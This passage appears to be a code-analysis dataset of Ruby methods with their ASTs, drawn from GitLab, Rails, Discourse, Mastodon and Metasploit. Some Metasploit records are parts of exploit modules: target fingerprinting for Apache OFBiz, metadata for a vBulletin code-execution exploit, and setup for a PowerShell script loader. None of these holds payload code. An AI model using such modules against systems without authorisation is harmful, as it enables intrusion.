end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_info\"]},{\"type\":\"arg\",\"children\":[\"started_on\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"current_request_path_info\"]},{\"type\":\"lvar\",\"children\":[\"path_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"current_request_started_on\"]},{\"type\":\"lvar\",\"children\":[\"started_on\"]}]}]}]}","id":"0626ac0f-0ca8-451d-a2da-cfeedaea0e91"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/i18n/po_linter.rb","start_line":281,"raw_source":"def index_for_pluralization(counter)\n # This calls the C function that defines the pluralization rule, it can\n # return a boolean (`false` represents 0, `true` represents 1) or an integer\n # that specifies the plural form to be used for the given number\n pluralization_result = FastGettext.pluralisation_rule.call(counter)\n\n case pluralization_result\n when false\n 0\n when true\n 1\n else\n pluralization_result\n end\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"index_for_pluralization\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"counter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pluralization_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastGettext\"]},\"pluralisation_rule\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pluralization_result\"]},{\"type\":\"when\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"pluralization_result\"]}]}]}]}","id":"a185996c-6fe5-4ca7-b101-cf8fee2573e4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/host_address.rb","start_line":76,"raw_source":"def decode_string(input)\n asn1 = OpenSSL::ASN1.decode(input)\n\n decode_asn1(asn1)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"asn1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"decode_asn1\",{\"type\":\"lvar\",\"children\":[\"asn1\"]}]}]}]}","id":"5e3c8c23-5cde-437f-aa0d-15a4b79e10a6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_ofbiz_deserialization.rb","start_line":95,"raw_source":"def version_from_login_page\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')\n })\n return nil if res.nil?\n return 'pre-17' unless res.code == 200\n # https://rubular.com/r/vputt9uJecevOk\n if res.body =~ %r{Apache OFBiz\\.</a> Release\\s+(?:release)?([\\d.]+)}\n return Regexp.last_match(1).strip\n end\n\n 'unknown'\n end","complexity_score":16.48,"ast_json":"{\"type\":\"def\",\"children\":[\"version_from_login_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/webtools/control/xmlrpc\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"pre-17\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Apache OFBiz\\\\.</a> Release\\\\s+(?:release)?([\\\\d.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},null]},{\"type\":\"str\",\"children\":[\"unknown\"]}]}]}","id":"f28dc03b-0b5f-4273-825a-f45d3b66029d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/env.rb","start_line":734,"raw_source":"def gitlab_host\n # gitlab address should be immutable so it's ok to memoize as global\n @gitlab_host ||= URI.parse(Runtime::Scenario.gitlab_address).host\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gitlab_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"gitlab_address\"]}]},\"host\"]}]}]}","id":"e96467fd-7c16-4bb0-a5a9-8e021ea6330e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/export_status.rb","start_line":109,"raw_source":"def status_endpoint\n File.join(entity.export_relations_url_path_base, 'status')\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"status_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entity\"]},\"export_relations_url_path_base\"]},{\"type\":\"str\",\"children\":[\"status\"]}]}]}","id":"ce6e4b4f-97d2-4446-ac60-07a89de42ba5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/php_vbulletin_template.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution',\n 'Description' => %q{\n This module exploits an arbitrary PHP code execution flaw in\n the vBulletin web forum software. This vulnerability is only\n present when the \"Add Template Name in HTML Comments\" option\n is enabled. All versions of vBulletin prior to 3.0.7 are\n affected.\n },\n 'Author' => [\n 'str0ke <str0ke[at]milw0rm.com>',\n 'cazz'\n ],\n 'License' => BSD_LICENSE,\n 'References' => [\n [ 'CVE', '2005-0511' ],\n [ 'BID', '12622' ],\n [ 'OSVDB', '14047' ],\n ],\n 'Privileged' => false,\n 'Platform' => ['unix'],\n 'Arch' => ARCH_CMD,\n 'Payload' => {\n 'Space' => 512,\n 'DisableNops' => true,\n 'Keys' => ['cmd', 'cmd_bash'],\n },\n 'Targets' => [ ['Automatic', {}], ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2005-02-25',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('PATH', [ true, \"Path to misc.php\", '/forum/misc.php']),\n ]\n )\n\n deregister_options(\n 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.\n )\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"vBulletin misc.php Template Name Arbitrary Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits an arbitrary PHP code execution flaw in\\n\"]},{\"type\":\"str\",\"children\":[\" the vBulletin web forum software. This vulnerability is only\\n\"]},{\"type\":\"str\",\"children\":[\" present when the \\\"Add Template Name in HTML Comments\\\" option\\n\"]},{\"type\":\"str\",\"children\":[\" is enabled. All versions of vBulletin prior to 3.0.7 are\\n\"]},{\"type\":\"str\",\"children\":[\" affected.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"str0ke <str0ke[at]milw0rm.com>\"]},{\"type\":\"str\",\"children\":[\"cazz\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-0511\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"12622\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"14047\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[512]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"str\",\"children\":[\"cmd_bash\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2005-02-25\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to misc.php\"]},{\"type\":\"str\",\"children\":[\"/forum/misc.php\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"HTTP::junk_slashes\"]}]}]}]}","id":"cc66e4a1-78b8-47d4-b567-45d4372030ee"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine.rb","start_line":132,"raw_source":"def matches_domain(*domains, allow_subdomains: false)\n class_variable_set :@@domains, domains.map(&:downcase)\n class_variable_set :@@allow_subdomains, allow_subdomains\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"matches_domain\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"domains\"]},{\"type\":\"kwoptarg\",\"children\":[\"allow_subdomains\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_variable_set\",{\"type\":\"sym\",\"children\":[\"@@domains\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domains\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"class_variable_set\",{\"type\":\"sym\",\"children\":[\"@@allow_subdomains\"]},{\"type\":\"lvar\",\"children\":[\"allow_subdomains\"]}]}]}]}","id":"586567a4-da59-44d9-8a4a-75c2534a06a9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_request/user_sees_pipelines_spec.rb","start_line":212,"raw_source":"def check_pipeline(expected_project:)\n page.within('.ci-table') do\n expect(page).to have_selector('[data-testid=\"pipeline-table-row\"]', count: 2)\n\n page.within(first('[data-testid=\"pipeline-table-row\"]')) do\n within_testid('pipeline-url-table-cell') do\n expect(find_by_testid('pipeline-url-link')[:href]).to include(expected_project.full_path)\n expect(page).to have_content('merge request')\n end\n page.within('.pipeline-triggerer') do\n expect(page).to have_link(href: user_path(actor))\n end\n end\n end\n end","complexity_score":52.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"expected_project\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\".ci-table\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"pipeline-table-row\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"first\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"pipeline-table-row\\\"]\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_testid\",{\"type\":\"str\",\"children\":[\"pipeline-url-table-cell\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by_testid\",{\"type\":\"str\",\"children\":[\"pipeline-url-link\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"href\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_project\"]},\"full_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"str\",\"children\":[\"merge request\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\".pipeline-triggerer\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_link\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"send\",\"children\":[null,\"actor\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"8f93033e-1677-450f-a56a-91e629d32c3e"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/source_annotation_extractor.rb","start_line":44,"raw_source":"def on_comment(value)\n @comments << Annotation.new(lineno, $1, $2) if value =~ pattern\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"=~\",{\"type\":\"send\",\"children\":[null,\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comments\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Annotation\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"lineno\"]},{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"nth_ref\",\"children\":[2]}]}]},null]}]}","id":"1df9f5f2-8469-437b-acd7-623a12c06349"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/powershell/load_script.rb","start_line":9,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Load Scripts Into PowerShell Session',\n 'Description' => %q{\n This module will download and execute one or more PowerShell scripts\n over a present powershell session.\n Setting VERBOSE to true will show the stager results.\n },\n 'License' => MSF_LICENSE,\n 'Platform' => ['win'],\n 'SessionTypes' => ['powershell'],\n 'Author' => [\n 'Ben Turner benpturner[at]yahoo.com',\n 'Dave Hardy davehardy20[at]gmail.com'\n ],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n\n register_options(\n [\n OptPath.new('SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),\n OptPath.new('FOLDER', [false, 'Path to a local folder of PS scripts'])\n ]\n )\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Load Scripts Into PowerShell Session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module will download and execute one or more PowerShell scripts\\n\"]},{\"type\":\"str\",\"children\":[\" over a present powershell session.\\n\"]},{\"type\":\"str\",\"children\":[\" Setting VERBOSE to true will show the stager results.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"powershell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ben Turner benpturner[at]yahoo.com\"]},{\"type\":\"str\",\"children\":[\"Dave Hardy davehardy20[at]gmail.com\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"SCRIPT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the local PS script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"powershell\"]},{\"type\":\"str\",\"children\":[\"msflag.ps1\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"FOLDER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to a local folder of PS scripts\"]}]}]}]}]}]}]}","id":"5a1bd5fc-55c6-4ab7-9197-d53c6ac8d4dc"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":166,"raw_source":"def test_default_scope_doesnt_run_on_update_columns\n Mentor.create!\n dev = DeveloperwithDefaultMentorScopeNot.create!(name: \"Eileen\")\n update_sql = capture_sql { dev.update_columns(name: \"Not Eileen\") }.first\n\n assert_no_match(/mentor_id/, update_sql)\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_scope_doesnt_run_on_update_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mentor\"]},\"create!\"]},{\"type\":\"lvasgn\",\"children\":[\"dev\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperwithDefaultMentorScopeNot\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Eileen\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"update_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Not Eileen\"]}]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mentor_id\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"update_sql\"]}]}]}]}","id":"a7c7662b-e12f-4e2e-ae4f-fc1062e83149"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/importer.rb","start_line":379,"raw_source":"def should_map_users?\n return false unless project.import_data.user_mapping_enabled?\n\n return false if project.root_ancestor.user_namespace? &&\n project.import_data.user_mapping_to_personal_namespace_owner_enabled?\n\n true\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"should_map_users?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_data\"]},\"user_mapping_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"root_ancestor\"]},\"user_namespace?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_data\"]},\"user_mapping_to_personal_namespace_owner_enabled?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6dbdcdf1-a6ad-4f37-ae55-d74c08ca1ecf"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/ci/job_entity.rb","start_line":115,"raw_source":"def job_presenter\n @job_presenter ||= job.present\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_presenter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@job_presenter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"present\"]}]}]}","id":"b526f08e-2184-4073-b29a-6d032fbb2204"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service.rb","start_line":14,"raw_source":"def report_vuln_attempt(vuln, opts)\n opts[:vuln_id] = vuln.id\n json_to_mdm_object(self.post_data(VULN_ATTEMPT_API_PATH, opts), VULN_ATTEMPT_MDM_CLASS).first\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"report_vuln_attempt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vuln_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"post_data\",{\"type\":\"const\",\"children\":[null,\"VULN_ATTEMPT_API_PATH\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"const\",\"children\":[null,\"VULN_ATTEMPT_MDM_CLASS\"]}]},\"first\"]}]}]}","id":"f99591b6-243c-4f63-abc5-625f91fd91a3"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/models/notification_spec.rb","start_line":280,"raw_source":"def mention_attributes\n have_attributes(\n type: 